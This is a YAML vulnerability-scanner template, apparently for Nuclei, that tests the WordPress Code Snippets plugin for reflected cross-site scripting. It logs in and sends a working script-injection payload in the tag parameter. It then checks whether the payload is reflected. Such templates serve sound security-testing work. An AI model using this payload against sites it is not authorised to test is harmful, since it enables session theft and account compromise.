50 lines
1.7 KiB
YAML
50 lines
1.7 KiB
YAML
id: wp-code-snippets-xss
|
|
|
|
info:
|
|
name: WordPress Code Snippets - Cross-Site Scripting
|
|
author: dhiyaneshDK
|
|
severity: medium
|
|
description: WordPress Code Snippets plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
reference:
|
|
- https://www.securify.nl/en/advisory/cross-site-scripting-in-code-snippets-wordpress-plugin/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cwe-id: CWE-80
|
|
metadata:
|
|
max-request: 2
|
|
tags: wordpress,xss,wp-plugin,authenticated
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
- |
|
|
GET /wp-admin/admin.php?page=snippets&tag=</script><script>alert(document.domain)</script> HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '</script><script>alert(document.domain)</script>'
|
|
- 'toplevel_page_snippets'
|
|
- 'Search results in tag'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a004730450221008d2f407e72ae3777c6f804c5ffc234ab5d73c7cbb7ff65d90c46c68db7d23bd502206e8386152273c3bf23bee6ba0097f03efac95c1d559b795ef2a3703aa7c1ac08:922c64590222798bb761d5b6d8e72950 |